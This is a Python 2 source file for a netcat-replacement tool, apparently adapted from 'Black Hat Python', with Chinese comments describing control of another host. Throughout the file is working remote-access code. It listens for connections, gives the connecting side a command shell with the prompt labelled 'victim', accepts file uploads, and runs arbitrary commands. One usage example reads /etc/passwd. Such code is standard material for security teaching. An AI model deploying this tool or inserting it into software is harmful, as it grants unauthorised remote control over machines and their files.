#!/opt/local/bin/python2.7

#coding=utf-8

'''

取代netcat

        两台主机中其中一台控制另一台

        得到北控方的shell

'''

import sys

import socket

import getopt

import threading

import subprocess

# 定义一些全局变量

listen             = False

command            = False

upload             = False

execute            = ""

target             = ""

upload_destination = ""

port               = 0

# this runs a command and returns the output

def run_command(command):

        # trim the newline

        command = command.rstrip()

        # run the command and get the output back

        try:

                output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)

        except:

                output = "Failed to execute command.\r\n"

        # send the output back to the client

        return output

# 这里会完成上传、执行shell命令、反弹shell的操作 控制方

def client_handler(client_socket):

        global upload

        global execute

        global command

        # 检查是不是要求上传文件

        if len(upload_destination):

                # read in all of the bytes and write to our destination

                file_buffer = ""

                #持续接收数据

                while True:

                        data = client_socket.recv(1024)

                        if not data:

                                break

                        else:

                                file_buffer += data

                #将接收到的数据写到文件中

                try:

                        file_descriptor = open(upload_destination,"wb")

                        file_descriptor.write(file_buffer)

                        file_descriptor.close()

                        # acknowledge that we wrote the file out

                        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)

                except:

                        client_socket.send("Failed to save file to %s\r\n" % upload_destination)

        # 检查是不是要向目标发送shell语句

        if len(execute):

                # run the command

                output = run_command(execute)

                client_socket.send(output)

        # 检查是不是要得到目标的shell

        if command:

                while True:

                        # show a simple prompt

                        client_socket.send("<受害者:#> ")

                        # 接收返还的结果

                        cmd_buffer = ""

                        while "\n" not in cmd_buffer:

                                cmd_buffer += client_socket.recv(1024)

                        # we have a valid command so execute it and send back the results

                        response = run_command(cmd_buffer)

                        # send back the response

                        client_socket.send(response)

# this is for incoming connections

def server_loop():

        global target

        global port

        # if no target is defined we listen on all interfaces

        if not len(target):

                target = "0.0.0.0"

        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        server.bind((target,port))

        server.listen(5)        

        while True:

                client_socket, addr = server.accept()

                # spin off a thread to handle our new client

                client_thread = threading.Thread(target=client_handler,args=(client_socket,))

                client_thread.start()

# if we don't listen we are a client....make it so.

def client_sender(buffer):

        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:

                # connect to our target host

                client.connect((target,port))

                # if we detect input from stdin send it

                # if not we are going to wait for the user to punch some in

                if len(buffer):

                        client.send(buffer)

                while True:

                        # now wait for data back

                        recv_len = 1

                        response = ""

                        while recv_len:

                                data     = client.recv(4096)

                                recv_len = len(data)

                                response+= data

                                if recv_len < 4096:

                                        break

                        print response, 

                        # wait for more input

                        buffer = raw_input("")

                        buffer += "\n"                        

                        # send it off

                        client.send(buffer)

        except:

                # just catch generic errors - you can do your homework to beef this up

                print "[*] Exception! Exiting."

                # teardown the connection

                client.close()  

# 列出一些标签

def usage():

        print "Netcat Replacement"

        print

        print "Usage: bhpnet.py -t target_host -p port"

        print "-l --listen                - listen on [host]:[port] for incoming connections"

        print "-e --execute=file_to_run   - execute the given file upon receiving a connection"

        print "-c --command               - initialize a command shell"

        print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"

        print

        print

        print "Examples: "

        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"

        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"

        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""

        print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"

        sys.exit(0)

def main():

        '''

        引用全局变量

        :return:

        '''

        global listen

        global port

        global execute

        global command

        global upload_destination

        global target

        '''

        检查是否输入了参数

        '''

        if not len(sys.argv[1:]):

                usage()

        # 接收控制参数

        try:

                opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])

        except getopt.GetoptError as err:

                print str(err)

                usage()

        for o,a in opts:

                if o in ("-h","--help"):

                        usage()

                elif o in ("-l","--listen"):

                        listen = True

                elif o in ("-e", "--execute"):

                        execute = a

                elif o in ("-c", "--commandshell"):

                        command = True

                elif o in ("-u", "--upload"):

                        upload_destination = a

                elif o in ("-t", "--target"):

                        target = a

                elif o in ("-p", "--port"):

                        port = int(a)

                else:

                        assert False,"Unhandled Option"

        # 检查是不是控制方，并且参数有没有输入

        # 如果是被控方

        if not listen and len(target) and port > 0:

                '''

                read in the buffer from the commandline

                this will block, so send CTRL-D if not sending input

                to stdin

                '''

                buffer = sys.stdin.read()

                '''

                开始向被控方发送指令

                send data off

                '''

                client_sender(buffer)   

        '''

        如果是控制方

        we are going to listen and potentially

        upload things, execute commands and drop a shell back

        depending on our command line options above

        '''

        if listen:

                # 执行

                server_loop()

if __name__ == '__main__':

        main()